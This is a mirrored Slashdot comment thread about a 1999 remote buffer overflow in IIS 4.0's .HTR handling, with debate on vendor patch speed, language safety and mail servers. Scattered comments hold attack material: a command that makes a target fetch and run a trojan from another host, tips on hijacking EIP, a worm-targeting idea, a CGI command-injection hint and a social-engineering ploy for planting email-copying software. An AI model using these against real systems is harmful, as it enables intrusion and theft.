Slashdot Mirror


Major Security Flaw in IIS4.0

Mintslice was one of the first to write in with the latest major major hole that's been found in Microsoft's IIS4.0. The hole, a nice little number, called remote users can gain root access, using buffer overflow is "being treated" seriously by the corporation. Mmm...Apache.

233 comments

  1. Re:hmmmm by sjames · · Score: 1

    I used to patch games with no source in sight. They probably inserted crack code that gave them a stack dump. From that, a back trace can locate the problem, and a binary patch can be put together from there.

    At one time, I did the same to IE 3.something. It allways crashed on microsoft's home page!

  2. Much Larger Security Holes.... by Spoons · · Score: 1

    It amazes me to see all the hype given to security holes such as these. The much larger security hole is human nature and lack of techinal knowledge. So many companies are worried about some teenager hacking into their computer from the internet and defacing their web site. This is a possibilty, but the greater danger is the human factor.


    For example, go to your favorite large company, follow employee X up the stairs and let them hold the door with the lock on it for you. Wander around a little bit, until you find someone important. Tell them you are from IT, and are here to upgrade their virus software. Install your program that sends you a copy of every email they send or receive. Insert imagination here


    While companies should be aware of security issues such as these no company should feel they are safe (and they never will be). I'm sure this type of stuff happens all the time, but it is never caught. It is this type of hacker that is really scary; not the teenager with a modem and some scripts.

    1. Re:Much Larger Security Holes.... by Jonathan+White · · Score: 1

      Try doing that wherever Microsoft's webservers are housed, think it will work? Of course not, while your point is a good one, it bears noting that this does not work on systems with high security requirements.

      Actually the human factor is the greatest danger but in a different way than you mentioned. I would concern myself more with the human emotions of anger, jealously, and greed. A disgruntled employee or one who can be bought is far more dangerous than a clueless secretary who holds the door open.

    2. Re:Much Larger Security Holes.... by Anonymous Coward · · Score: 0

      Yeah, but a fanatical religious terrorist with a 30-megaton bomb in a suitcase is more dangerous than a disgruntled employee who can be bought.

      Where does the paranoia stop?

  3. Re:You want to see something REALLY scary? by Anonymous Coward · · Score: 0
    Here's an excerpt from Microsoft Security Advisor Program: NATO. It's simply amazing. The only people who could possibly swallow this are ignoramuses.

    In the past, UNIX systems have been a common choice for secure networks. NATO, however, found that in addition to providing robust security, Windows NT offered a number of other advantages that made it a better choice. "We have a low number of qualified systems administrators and operators, and there's tremendous turnover, especially in Bosnia," says Steakley. "Our people can use and administer Windows NT [-based] systems with very little training." In addition, Windows NT offered a familiar suite of office automation products for users. "Our people knew how to use Windows and Microsoft Office applications, but they didn't know how to use UNIX applications," says Steakley. Because Windows NT runs on COTS hardware, it could be deployed faster during a period when time was critical. "We had most of the Windows NT-based equipment on hand, configured, and ready to deploy in less than three months," says Steakley. "Just finding a source for 300 UNIX workstations would have been tough, and getting them delivered within 30 days would have been even harder." Moreover, says Steakley, "Putting UNIX workstations and servers in as many locations as we required, all at once, would have been a lot more expensive."

  4. Re:What is going on? by ch-chuck · · Score: 1

    "Who would be to blame for fauilure?"

    There's the rub - my current policy on software politics is that the 'fault' lies with the person who 'chose' the software to use - really, read any license agreement, like what comes with IIS4 "software is provided AS IS, without warrenty or guarentee of usability or marketability", that gets M$ off the hook. The poor IT admin who is forced to maintain a system, who didn't recommend or choose the stuff sure isn't. In fact, I'm trying to work up a sysadmin disclaimer for my own protection - to the effect of "Ok, YOU, the employer, want to run this brand, or choose this brand because it's the default selection or what 'everyone and his brother' appears to be using, I'll work with it BUT there are limits on what I'll be responsible for; if the people who write and market this stuff won't be held liable for defects in the product I'll be darned if I'll be the fall guy!". Anyway, where I work we have all the usual glitches and hiccups, and I make it patently clear: I didn't write this garbage, I just install it, tweak it - everytime you guys fall for the email worm da jour I just sit at my FreeBSD box quietly chuckling to myself, hehehe.

    Chuck

    --
    try { do() || do_not(); } catch (JediException err) { yoda(err); }
  5. Re:IIS Worm ideas by smileyy · · Score: 1

    The worm could, once installed, have 2 different stages. 1st is replication stage (goes to the internet - maybe search engines - to find other IIS sites)

    Netcraft would be a good place to start looking.

    --
    pooptruck
  6. (Off topic) MSNBC Story about AOL's evil plan. by legoboy · · Score: 1

    I just happenned to see a front page story on the MSNBC web page which is titled "AOL's epic aim: to slay Microsoft". I have to say that the obvious bias is funny, more than anything else.

    Link right here.

    It goes on about how AOL is trying to take over the world by cutting out Microsoft. It's fairly long, and doesn't really say much, but when they have the gall to present "AOL Everywhere" as a threat when the majority of their readers are using Microsoft Windows 95/98/NT, and a large share of them are using MS Internet Explorer 4/5 to read this article on MSNBC, it's too much.

    --
    If a tree falls on an anonymous coward yelling 'first post' in the forest, does anybody hear?
  7. Re:Root does exist does it not? by tmhsiao · · Score: 1

    s/root/Administrator/;

    And you can rename "Administrator" to "root."

    --
    "My God...It's full of ads!" -Fry, about the Internet, Futurama
  8. NT exploit by generic · · Score: 1

    I am glad someone like Eeye found this, just think if someone else discovered this and kept it to themselves? Every high profile IIS site out there would get r00t3d. I suspect a great many of these E-commerce sites still store CC# databases on the webserver. This is why I dont build NT firewalls.
    What if something like this came out for exchange?
    and MS took 2 months to patch it? This is why I like open source OS's. As soon as an exploit is discovered a patch is written, and if you know enough you can even write the patch. A quick buffer overflow audit: strings *.c |grep str
    will get you the most common overflow able functions.


    --
    Microsoft aggravates my tourettes syndrome.
  9. Toilet Paper by gavinhall · · Score: 1

    Posted by d106ene5:

    like any half decent programmer in any language should.

    I love listening to all the so-called "experts" in slashdot tell me I'm a moron unless I re-code everything from my compiler to my libraries.

    One day you may actually be on a schedule. Heaven help you when you first manager (I assume you are a greenwing undergrad) finds out that you are re-coding stdio. You'll have that "ass scraping pavement" feeling real quick.

    1. Re:Toilet Paper by Anonymous Coward · · Score: 0

      I believe they are suggesting that if you intend to be a serious programmer, you should carry your
      own re-written libs about with you, much like a tradesman carries his own tools. That way, any time you hit a new project, you just dump your libs in and go.

      Of course, this makes things easy for crackers, who get involved on projects to insert thier own back doors, but then a good cracker would just recode the stdio while working on the main project anyway.

    2. Re:Toilet Paper by nevets · · Score: 1

      Restating what I said in the beginning:

      It was a ONE TIME deal.

      I rewrote my libraries back in 1992. I've been using them ever since. I've been working since then and I have a very good reputation of making schedules on time. Mainly because of a large number of libraries. I would love to make them GPL but they are owned by my employer. If I ever have to leave the job, I would have to rewrite them again, but I think that is not a problem.

      All languages I use, I have my own libraries. Like most programmers, I like to do things my own way (but still fit them into the format that is defined by my employer: like indentation and such). I mostly code in C, and I try my best to follow an object oriented design. Remember you can program OO without an OO language. Lots of people forget that, or just don't know that you can. It just takes a little discipline.

      --
      Steven Rostedt
      -- Nevermind
  10. Thats why their market cap is $333B by gavinhall · · Score: 1

    Posted by d106ene5:

    Releasing code early, even when buggy may be a spiteful practice, but its worked for them. They're the most valued corporation on the planet - certainly better off than people who spend six months longer running code through purify until their ears bleed or they starve to death.

  11. Re:Commercial software versus free ... by Anonymous Coward · · Score: 0

    I'm on the Microsoft Security bulletin email list and didn't I received the bulletin until 1:51 AM on June 16.

  12. Re:Theoretical exploit by generic · · Score: 1

    This should be rated more then a 2. The man is correct. Check out http://www.l0pht.com for theoretical exploits. Someone is going to write
    a script that sends GET "Ax3000".hmt to port 80 on entire subnets. Neat DoS attack.

    Uh oh...
    From Bugtraq:"and as promised added a link to the working remote exploit,
    http://www.eeye.com/database/advisories/ad060819 99/ad06081999-exploit.html"


    Bye, bye IIS sheep.

    --
    Microsoft aggravates my tourettes syndrome.
  13. Re:Free clue inside... by Anonymous Coward · · Score: 0

    I just installed all those modules at CPAN and now I get this error message when I run the program.

    syntax error at ./iis.pl line 3, near "or"
    Execution of ./iis.pl aborted due to compilation errors.

    line 3 looks like this:

    or ($i = 2500; $i = 3500; $i++) {

  14. Not true by gavinhall · · Score: 1

    Posted by d106ene5:

    Bottom line - some languages are simply more prone to certain failures that open up security holes.

    C/C++ makes bounds checking optional, which means no one does it.

  15. Re:These are inevitable by jonathansamuel · · Score: 1
    Microsoft's servers are closed source, so we cannot verify the quality of the security of the code, and we cannot fix them quickly if there are problems.


    That sounds reasonable, but I think that there may be a flip side to it. Namely, once code is made public the crackers can rummage through it as well, and possibly find holes they would not otherwise have known about.
    --

    Marjo Wycam, Master of the Programming Arts
  16. Not a fix. Just a "workaround". by Anonymous Coward · · Score: 0

    There is no new information in this post. They are rehashing the information from the advisory. There is no patch to *FIX* the problem. Unless such a patch is made available soon, it is painfully evident that commercial software (even from the LARGEST COMMERCIAL ENTITY IN THE WORLD) is slower to react to these kinds of challenges than Open Source software. A big difference when your OS/web server is truly "mission critical".

    1. Re:Not a fix. Just a "workaround". by Anonymous Coward · · Score: 0

      Yeah!

      Instead you should rely on someone's quick hack to fix the problem that hasn't been fully regression tested!

    2. Re:Not a fix. Just a "workaround". by scrytch · · Score: 1

      > (even from the LARGEST COMMERCIAL ENTITY IN THE WORLD)

      General Motors? Hell, that's just the USA, there may be even larger ones abroad.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
  17. Next time try this: by cpeterso · · Score: 1

    for ($i = 2500; $i = 3500; $i++) {

  18. Re:Well is this fast enough for you? by NeoMage · · Score: 1

    Yes, I noticed this as well... probably because I actually read the stories and did some investigation before I started commenting...

    Every single time I see something about Microsoft's OSes on here, it is accompanied by post after post of "yeah...take that MS!" and "hahah...glad I'm on ". Is this really the attitude of the "OS of the Next Generation" ???? I hope not, because Linux will not become strong when it's major supporters behave this way. This is not a troll post, this is an advisory for an attitude adjustment.

  19. 20 kilotons is still pretty scary by Firehawk · · Score: 1

    heck 7kg is carryable. hiroshima was 11 kilotons. that was 100,000 casualties. ok, ok. this is getting way offtopic. hehe.

  20. HTR filter by IntlHarvester · · Score: 3

    1. Remove the extension .HTR from the ISAPI DLL list. Microsoft has just
    updated their checklist to include this interim fix.


    Here's where the 90% of public ISS servers figure probably is not true. A standard security recommendation for IIS is to disable ISAPI extensions that are not in use. As for how many people use HTR, I don't know, but I'd guess it's not 90%. If your local IIS admin hasn't done the basics such as this, this is a gentle reminder.

    And as for the folks crowing about Unix versus NT security, you know there's lots of stuff you can run on a Unix box that will create security holes. Certain Linux installers will automagically activate some of this stuff. The fault with Microsoft here is shipping a product with pre-activated 'features' that you many not want to use. (Third party ISAPI extensions require manual registration - a 30 second process). Obviously the more untested, unused features you might have running, the more security holes you are exposed to.

    Of course with Unix and open source products, you can be somewhat sure that someone is trying to find the holes for you. But, IIS is a pretty immature product, despite it's version number, so I don't know if you can say the same for Unix software that hasn't been in the field for many years.
    --

    --
    Business. Numbers. Money. People. Computer World.
  21. Re:It's the the programmer! by Anonymous Coward · · Score: 1

    The post wasn't an attempted pot-shot at Perl. It was for those "C should never, ever, ever be used for anything now that we have [insert language here]"-types.

  22. Re: Well is this fast enough for you? by spades · · Score: 1

    Microsoft Security Bulletin (MS99-019)
    Patch Available for "Malformed HTR Request" Vulnerability
    Originally Posted: May 27, 1999

    Microsoft has released patches that fix the problem identified. The patches are available for download from the sites listed below in What Customers Should Do.

    OK. Now we scroll down to that section...

    A patch will be available shortly to eliminate the vulnerability altogether.

    and further down...

    Revisions
    *June 15, 1999: Bulletin Created

    Hold on, first there's a patch available then there isn't. Then, it was first POSTED May 27, about 3 weeks before it was CREATED.

    This sounds like typical MS double talk. I'm really not at all surprised by the inconsitency. I also like the way the page links to itself in More Information. :>

    Yeah, they've got a lot of brain cells over there. 1 per MS employee adds up to quite a few.

  23. Why is it by DonkPunch · · Score: 2

    Why is it that so many programmers think that the world would be a better place if everyone would just use their favorite language?

    --

    Save the whales. Feed the hungry. Free the mallocs.
    1. Re:Why is it by for(;;); · · Score: 1

      Because most programmers are stuck using shitty languages.

      The poster wasn't (necessarily) advocating that everyone use Dylan, s/he was advocating that everyone stop using C/C++ so much. Perl, Ada, Java, Haskell, etc. all have greater robustness (and other advantages) than C/C++, yet C and C++ enjoy much more popularity. The industry is reluctant to change because it has found a standard, lame though it may be. (See any parallels here?)

      -- A disgruntled C++ coder

      --

      "Whatever happened to fair use?"
      -- Duff-Man
  24. What is going on? by calx · · Score: 1

    Whenever I read an article on why companies are afraid to implement a *free* solution to their problems, I always end up seeing one resounding answer:

    "Who would be to blame for fauilure?"

    It just makes me wonder what that means. What is going to happen? If Joe's Bread Shop (You've seen the commercial) loses oodles of money do to some vulnerability in their NT system, what good is it to have that worthless reassurance that there is someone to blame? You.

    A good reason why I like FreeBSD/Linux? If it goes down, most likely, close to %99.9999999 of the time it is my own fault.



    And Microsoft was glowing with joy about the eBay thing....



    calx

  25. Re:running as "root" by Pac · · Score: 1

    Even if it did, and it doesn't, there is no such thing as root in Windows world...

  26. Re:hmmmm by Anonymous Coward · · Score: 0

    Actually YOU could be the Microsoft plant. Trying to make us think the truth is suspect. Very naughty of you! Bad Newt!

  27. Re:It's the language by Spoons · · Score: 1

    BTW, It's not the programmers up there that are incompentent, its the system that they program under. Everyone I know who works for Microsoft is extremely bright, but they say the attitude and system is what cause their products to be so bug ridden. Ex. Many times they have multiple groups working on the same project. The group that finishes first gets a bonus. They also view marketing deadlines more important than bug fixes, and use the initial releases of the products to flush out the bugs (i.e. they count on having 3 or so service packs to fix the issues).

  28. what does Bills bank use? by Chocboy · · Score: 1

    Cos its about time BG paid for his shoddy releases. and lets all share the wealth...

    And also the article give nice examples for other things to do like killing the MS share price...

    ok, i don't think the above should be done(:P)... but it is always possible, wouldn't it be ironic (don't ya think) if his own products would be his own downfall.

    --
    So what if you can jump over a chair bill, if i have to install windows for the n'th time today that chair won't make it over you...

  29. Sheesh... by Bob-K · · Score: 1

    As somebody already mentioned, this tactic of security companies finding a hole in the default configuration and using it to get publicity is getting pretty tiresome. It does help get the word out, which is a good thing.

    Follow the links and see what it really says. Yeah, there's a patch coming, maybe a day or two slower than Linux would have it out. Probably as fast as the crackers can pass it around; they'll mainly prey on the many people who ignore it. But in the meantime, all you need to do is to remove a couple of rarely-used ISAPI entries. I'm glad I don't have to do it on a thousand domains, but it's a pretty simple fix.

    A huge number of these NT "Security holes" are simply weaknesses of the default configuration. If anything, it highlights Microsoft's tendency to throw in and start up too much junk that you don't know about, don't want, and will never use. The default settings are very permissive, apparently in search of a "positive end-user experience." Their words, not mine.

    I've never run a server that was heavily loaded, so I can't speak to that, but otherwise, IIS is one of the parts of NT that they actually did pretty well, configuration issues notwithstanding. It can be secured from script kiddies without too much hassle, and most of the holes that do turn up are related to MS-specific things that you can disable, or to default permissions that need to be tweaked.

    1. Re:Sheesh... by Bob-K · · Score: 1

      You don't have to fix their code, but you can disable the feature in question and you'll probably never miss it. I'll agree that you shouldn't have to, that's one of my own pet peeves. But anybody who is really serious about security had probably disabled this feature before the exploit was discovered.

    2. Re:Sheesh... by Anonymous Coward · · Score: 0

      Maybe I'm stupid, but what does a buffer exploit have to do with the server's configuration? Its not like we can fix Microsoft's code.

  30. Re:Exploit? by sjames · · Score: 1

    To go beyond a DOS attack, you'll need to see where the rest of the overflow bytes go. Try looking at what is on the stack after the crash. Also, isolate what portion of the oversized buffer actually goes into EIP. Having done that, just stuff your exploit into the stack, and force EIP to point to it.

    The possabilities are endless.

  31. Re:It's the the programmer! by Frank+Sullivan · · Score: 2

    I once got the crap flamed out of me for saying the exact same thing as the original AC, years ago on BUGTRAQ. Ghod forbid anyone should question the Language of Choice... if you can't drive a car with square wheels, you just aren't a good enough driver. If you aren't willing to ditch the C stdlibs and start over from scratch, you're just not a serious programmer.

    What a load of crap!!! It's the sort of snotty elitism that compares well to, say, Custer's Last Stand.

    How about if your NT box isn't secure, you're just not a good enough administrator? No suggestion that if you used Unix, you might not have to DEAL with some of these problems?

    C is a beautiful, wonderful language for writing operating system kernels and low-level utilities. But it's a lousy language for writing security-sensitive code... it's nearly impossible to prevent buffer overflows without years of experience and studious avoidance of what are and should well be standard coding practices (sprintf(), for example).

    C++ not only saddles you with the same buffer overflows, but often buries them deep inside classes, behind badly mangled names, hidden from the probing of debuggers. Of course, if you don't throw out all standard libraries and start from scratch, you're not a good C++ programmer either, right?

    Dylan is a solution, but not the only solution. Even Perl is basically immune to buffer overflows, at some performance penalty. Most languages designed for use other than writing OS kernels do automatic bounds checking, and even garbage collection (getting rid of all those pesky memory leaks you admit to in the process).

    Don't turn your nose up at using the right tools.

    --
    Hand me that airplane glue and I'll tell you another story.
  32. Re:full text of the eeye advisory - no sploit by Sheridan · · Score: 1
    hmm... Did you read the eEye advisory page? This (a direct link from the relevant advisory page)looks like a link to an exploit to me, along with download links for the exploit code...

    I haven't tried it however so can't vouch for whether it works or not but I have no reason to think it wouldn't.
    --
    "I am not a nut-bag." -- Millroy the Magician

  33. Re:full text of the eeye advisory - no sploit by KmArT · · Score: 1

    http://www.eeye.com/database/advisories/ad06081999 /ad06081999-exploit.html and a few exploits also moved across BUGTRAQ not too long after the advisory did. They are versy short (5-10 lines) perl scripts. I know nothing about IIS and would probably like to keep it that way but if this thing works, script kiddies are going to have a field day!

  34. Re:Microsoft Ebay article by KmArT · · Score: 1

    Microsoft is just tooting their horn that for once, the problem is NOT NT. From what I understand, Ebay's setup consists of NT servers running the cgi's and web stuff and a Sun box doing the database stuff at the backend. The problems were with the Sun box OR with some clueless people who administer the Sun box and are experiencing growing pains. I would vote for the latter - for all the cash that Ebay is raking in, I had several problems with them when I posted items a long time ago. It doesn't surprise me that they have two hard outages like this - they grew too big too fast and just don't have what it takes to do business 24/7. This outage may have given them a healthy dosage of clue though. I did hear that there were problems with the NT cgi cluster as well. The bottom line is that while the problem was with a Sun box running a database, it probably wasn't the hardware or OS but more likely a system that wasn't capable of handling the sort of load that Ebay receives. I don't speak for Ebay and could be full of it. This is just what I've picked up from mailing lists.

  35. Re:What is the world coming to? by tmhsiao · · Score: 1

    Sorry, have to disagree--cracking would be malicious. Installing Apache in IIS4.0's place would be a boon to both the company and server (it'd be even better if the hacker could install some ASP support so the applications don't choke). Either way, it's better ;)

    --
    "My God...It's full of ads!" -Fry, about the Internet, Futurama
  36. Re:qmail by Shiska · · Score: 1

    Several words -- "I'm not basing a critical mail server on software that still has version numbers based on the date."
    ----------------- ------------ ---- --- - - - -

    --
    ----------------- ------------ ---- --- - - - -
    Your honor is perfectly understandishable.
  37. Re:Free clue inside... by Androgynous+Coward · · Score: 1

    Here cometh the script kiddies...

  38. I like it by HEbGb · · Score: 3

    I really like the apparent strategy of these security companies, who, when they become the first to find a hole, get a whole lot of good PR and advertising.

  39. Re:Care to back that up with sendmail-8.8.5+? by Chexum · · Score: 1
    However, if you want UUCP, BITNET relaying, or FIDO-NET support (which is CRITICAL in many third world countries) sendmail is your only option.

    Bzzt. Wrong conclusion, although it's a common misconception. I've done UUCP via ssh, and even fidonet mail routing with qmail when I had an 2400 baud modem link. BITNET? Well, no, but that's just because it was disappeared for years when I began working with computers. But I don't think it would be that hard to use it. There's nothing spectacular about it, it's all straightforward. Actually, that's how I see qmail vs. sendmail; with you don't need to know what you do, just ask for help, or buy the book, and look up the answer, with qmail, you spend a few hours looking through the documentation, and you understand it all.

    And in a surprise twist, when you understand it, you also can do anything with it, if you are good with general programming/scripting otherwise; no need to grab that bat book again..

    --
    "Ten years from now, they could do it in a few seconds." -- The Racketeer of the Hellfire Club, 1993, Phrack 42
  40. this prints to STDOUT by Anonymous Coward · · Score: 0

    This only prints "3500" to the screen several times. That's all I see that it does. netstat shows connections being made to the web server but from what I see my NT server is not effected at all. I have not made any changes to the default setup for IIS.

  41. Re:These are inevitable by Robin+Hood · · Score: 1
    Namely, once code is made public the crackers can rummage through it as well, and possibly find holes they would not otherwise have known about.

    This is the old "security through obscurity" argument which has been proven false many times. I don't know off-hand what the arguments are (a little research on "security through obscurity" should help you learn more), but basically they boil down to this: the competent "bad guys" already know about the security holes, and the incompetent ones probably won't learn anything from the source. BUT the competent "good guys", having neither as much time nor as much incentive to go cracking through closed-source programs as the "bad guys", will be able to poke at the programs once the source code is made available.

    Oh yeah, and one more argument against "security through obscurity" -- the most telling one, IMHO. If you're afraid that revealing your source code will let thousands of "bad guys" find all the security holes in it, what do you do when (not if, when) someone compromises your system's security and obtains a copy of it? Are you going to recall the thousands of copies of your program that you already sold? Not if you're a company with a reputation to protect. No, you're going to cover it up and keep it quiet. Meanwhile, the "bad guys" will be sharing the knowledge of the security holes, and the "good guys" won't know how to protect themselves.

    There is no way to be 100% certain that a product is bug-free and security hole-free. But if the source is available and has been poked at for a long time by thousands of experts, you can get pretty close to 99% certainty.
    -----

    --
    The real meaning of the GNU GPL:
    "The Source will be with you... Always."
  42. before you flame... by MenTaLguY · · Score: 1

    sendmail.
    ---

    --

    DNA just wants to be free...
    1. Re:before you flame... by twl · · Score: 2
      oh BLAH BLAH BLAH BLAH... this is a little irritating to hear again and again. sendmail is overly maligned for its current state of repair. i've run sendmail with no firewall in front of it, naked on the Internet for the last three years. average of five script kiddies hit my box every day for these three years, and NEVER, repeat NOT ONCE, did any of them -- or the occasional determined cracker (one every couple of months) -- break sendmail.

      of course, they didn't break anything else either. that's why i run linux.

      so quit sniping at a decent MTA that runs circles around most others as a turnkey messaging system.

  43. Re: Well is this fast enough for you? by Tillman · · Score: 1

    Heck, it's apparent that the author grabbed another advisory as a template and just rewrote part of it. I fail to find the fact they missed changing the date constitutes "double talk."

    You may not like Microsoft, and I _sure_ don't, but don't make too much out of poor proofreading.

    Tillman

  44. Commercial software versus free ... by LizardKing · · Score: 2

    This should be a good test of commercial software versus free. The Linux DoS bug was patched within hours - lets see how long MS takes to :

    a) admit the problem (if ever)
    b) fix it


    Chris Wareham

    1. Re:Commercial software versus free ... by LizardKing · · Score: 1

      Microsoft are aware of the problem ...

      My god ... I'm in shock.


      Chris Wareham

    2. Re:Commercial software versus free ... by Anonymous Coward · · Score: 0

      As a issue of fact, the bug notice and a workaround has already been posted to the Microsoft security site....

      http://www.microsoft.com/security/bulletins/ms99 -019.asp

    3. Re:Commercial software versus free ... by gavinhall · · Score: 1

      Posted by wMaVerick:

      Regarding Mindcraft, et al.

      Who cares if it's faster under certain conditions, if it's not secure, or easily securable.

    4. Re:Commercial software versus free ... by Doviende · · Score: 1
      If the workaround is "disable the feature", that's fairly useless if you really need to use the feature. I could have said right away that to prevent people from getting ReWT aWn yEr BAwX, just stop using IIS-4 until the fix comes out....oh sure, you lose some features, but oh well.

      Obviously this is a silly answer...the real answer is the complete fix so that people can continue using that feature without fear of root compromises.

      -Doviende

      "The value of a man resides in what he gives,
      and not in what he is capable of receiving."

      --
      "The value of a man resides in what he gives,
      and not in what he is capable of receiving."
      --Albert Einstein
    5. Re:Commercial software versus free ... by Anonymous Coward · · Score: 0

      The clear implication in this thread was that Microsoft would not acknowledge the problem... one poster went so far as to say that they did not think Microsoft would *eve* ack the bug.

      My comment specifically addressed this.

    6. Re:Commercial software versus free ... by sjames · · Score: 2

      And with all that blinding speed, crackers can gain root faster than with any other server in existance.

      Now, that would be a funny benchmark to run (cracks per second)

  45. Re:BankBoston uses Microsoft Windows NT and IIS! by Anonymous Coward · · Score: 0

    Of course you realize this exploit (nobody has released working exploit code though) only if the .htr ISAPI DLL is enabled. Quite honestly, it's much easier to attack .cgi's on unix systems. Try putting something like ";uptime" on the end of a query string. I guess if your server is running as nobody it can't doo much damage besides fill up the process table.

  46. Re:Delay is intentional by Anonymous Coward · · Score: 0

    I think your statement is flawed. Announcing security holes to and in the open source community is the method of alerting potential victims AND alerting potential workers that their help is needed. If Microsoft were to say "hey everybody, look at how you can abuse IIS!" they would only increase attacks and neither get a fix out quicker nor rouse workers. The legitimate critique of this practice would be that those groups using the software may not be informed about problems with the stuff they're running and may naively leave themselves open to attacks. On the other hand, maybe MS lets their customers know about this security flaw and gives advice on how to act until the fix is out. Fundamentally, though, it is NOT an attempt to look like Open Source.

  47. Re:Theoretical exploit - IT'S REAL by mplex · · Score: 1

    I have seen it work first hand, it's juat that the kids dont have the exploit in their hands yet, but anyone can make it crash...

  48. Theoretical exploit - works neatly under wine by dermond · · Score: 1

    wine "iishack.exe somewhere.com 80 myhost.com/trojan.exe"

  49. These kinds of bug by smileyy · · Score: 1

    I'd say that these kinds of bugs would be easier to spot and patch if, say, the source code was available. But I doubt there's many people who read /. who don't know that already. =)

    --
    pooptruck
    1. Re:These kinds of bug by stevied · · Score: 1

      I remember the days when I had to patch binary files :(

  50. Re: Well is this fast enough for you? by spades · · Score: 1

    I meant first saying there's a patch then saying there isn't. The date is just for a nice little chuckle.

  51. Re:End Buffer Overruns Forever by greenrd · · Score: 1
    There's a very big difference between allowing people to write macro viruses (after all, almost any platform can have viruses written for it) and leaving a really big, stupid security hole up there a week after you've been told about it. I haven't read this in detail but it looks to be just a few lines, or one line, of verification code missing, right? MS would get flak big time.

  52. I assume your referring to sendmail holes ... by LizardKing · · Score: 1

    ... in which case I agree.

    Sendmail is the single most apalling thing about Unix systems. The sooner someone comes up with a modern, easily configurable alternative the better.


    Chris Wareham

    1. Re:I assume your referring to sendmail holes ... by sterwill · · Score: 1

      qmail works very, very well. It's not free software though.

    2. Re:I assume your referring to sendmail holes ... by Anonymous Coward · · Score: 0

      There are already several alternatives. sendmail itself has become significantly more secure in recent versions, and you can purchase a more easily configurable version.

    3. Re:I assume your referring to sendmail holes ... by Anonymous Coward · · Score: 0

      Exactly. Sendmail had its problems. My biggest problem with a certain other evil empire is that it seems to be unable to learn from the problems Unix had. I'm picking on an old one, but one word, nestea. Took them 6 months to fix it.

    4. Re:I assume your referring to sendmail holes ... by dbullock · · Score: 1

      Sendmail is the single most apalling thing about Unix systems. The sooner someone comes up with a modern, easily configurable alternative the better.

      Give Exim a shot - www.exim.org. It's got a LOT of flexibility and a human readable config file. I've replaced every MTA I administer (about 8) with it. Sendmail is now the first thing I yank off my new boxes (right before the stock pop3d). Including ones outside my Pix.

      Dave

      --
      http://www.bullnet.com
    5. Re:I assume your referring to sendmail holes ... by Amphigory · · Score: 1
      "Sendmail is the single most apalling thing about Unix systems. The sooner someone comes up with a modern, easily configurable alternative the better. "



      One word: qmail.

      --
      -- Slashdot sucks.
    6. Re:I assume your referring to sendmail holes ... by mayoff · · Score: 1
    7. Re:I assume your referring to sendmail holes ... by Jonas+�berg · · Score: 2

      For what it's worth; I've been using Exim now for quite a few months and has found it very capable of doing everything that sendmail once did for me. In fact; Exim provides quite a few methods that gives functionality which I would only have dreamed of in Sendmail. Exim is also released mostly under the GPL (three pieces of code exists which is not GPLed, but I think it would be possible to leave them out if one is a purist).

    8. Re:I assume your referring to sendmail holes ... by stevied · · Score: 1

      I've never had a problem with sendmail (apart from the holes, and exploits don't seem to be found in the more recent versions more often than in any comparable program).

    9. Re:I assume your referring to sendmail holes ... by kdoherty · · Score: 1

      > The sooner someone comes up with a modern, easily configurable alternative the better.

      A few points:
      1) sendmail is the only solution in many cases. The incredible power of sendmail's configuration is unmatched by any other MTA.
      2) As cryptic as it is, and as much maligned as it is, sendmail cf is actually amazingly simple. I learned it in the course of a day easily. The learning curve is steep, to be sure, but it's short. Once you understand a few simple concepts, it's a snap, and allows you to do just about anything. Most people I've heard complaining about sendmail configuration recently never took the time to actually learn it.
      --
      Kevin Doherty
      kdoherty+slashdot@jurai.net

      --
      Kevin Doherty
      kdoherty+slashdot@jurai.net
  53. Re: Well is this fast enough for you? by Anonymous Coward · · Score: 0

    A fix is a fix. The important thing is that there's a fix, and most of the world's IIS servers are/should be locked tight (again).

  54. running as "root" by Dog-Cow · · Score: 1

    That's what you get for running a webserver that requires root privs.

    1. Re:running as "root" by Anonymous Coward · · Score: 0

      no he shouldn't. He vocalized his opinion. It may have come across a bit harsh, but life goes on.

    2. Re:running as "root" by Anonymous Coward · · Score: 0

      I am a different AC than the one who posted, but he right. It does not run as root/admin. The one above him should be marked troll.

  55. Re:hmmmm by conform · · Score: 1
    (raising one eyebrow, head slightly tilted)

    i didn't know keanu reeves read /.

    conform

  56. Re:Free clue inside... by mrPalomar · · Score: 1

    That had to be a joke, right?

  57. Microsoft Ebay article by CE@UIC · · Score: 2

    Anybody remember this article
    http://www.microsoft.com/technet/av ail/ebay.htm
    regarding The Importance of Reliability in an e-Commerce World....

    I just sent this article in responce to it (technet@microsoft.com) God, I amuse myself...

    1. Re:Microsoft Ebay article by Lemon+Herb · · Score: 1

      I'm sorry, I'm not sure if I understand this. Is Microsoft trying to say that servers running NT are more reliable than ones running Solaris? Something about that just doesn't seem right...has anyone counted reliability issues in NT lately? How about security? Those are both major points to consider when looking at servers. It seems to me that one could easily come up with more than 6 problems with NT.

  58. Re:Care to back that up with sendmail-8.8.5+? by Anonymous Coward · · Score: 0


    Sendmail sucks.

    1) lame config file format. a full regular expression engine would be faster, and easier to use

    2) *NOT SCALABLE* Period. Every webmail provider who tried to go with the sendmail approach got hammered. Commercial alternatives like SIMS, Post.office, or IsoCor are much more scalable, into the millions or 10s of millions.

    3) buggy as hell. Sendmail is single handedly responsible for more rooting than any other Unix app. Not just buffer overflows either.



    Face it. It's a piece of shit legacy app which demands a rewrite.

  59. Re:It's the language by markalanj · · Score: 1

    So what you are saying is that my programs are prone to hacking because I write in C/C++. You are out of your friggin mind. Securty has nothing to do with the programming language you use. They could have used BASIC for god sake an thats old as the hills, and still have a secure system!

  60. Re:These are inevitable by mcmay · · Score: 3

    I think this is a classic case of the vapor/pre-marketing/beta-release methodology Microsoft has used to claw back turf it lost when they discovered maybe CERN and NCSA were on to something with HTTPD.
    First off, Windows has always been behind on web servers. Remember EMWAC? The Win32 platform suffered by being so different from Unix that any port of new Unix-based packages requires Herculean effort to bring to Windows.
    Apache has time in service, legacy, and flexibility on its side. What Microsoft has that Apache is missing is 9 figures worth of PR.

    Microsoft rolled their own, with a view to pitching it as a central part of the OS. I mean, I don't think I've ever seen a Solaris slick with a "now featuring APACHE!" starburst across the top. It's just always been there, or at least readily available. Microsoft has had the luxury of selling the most rudimentary services and tools (HTTP, NNTP, mailer, even scripting) as quantum leaps in OS evolution.

    Unix types know three things when it comes to software:
    1) It's probably in there;
    2) If it's not there, I can probably find and install it; and
    3) If it breaks, I can probably fix it.

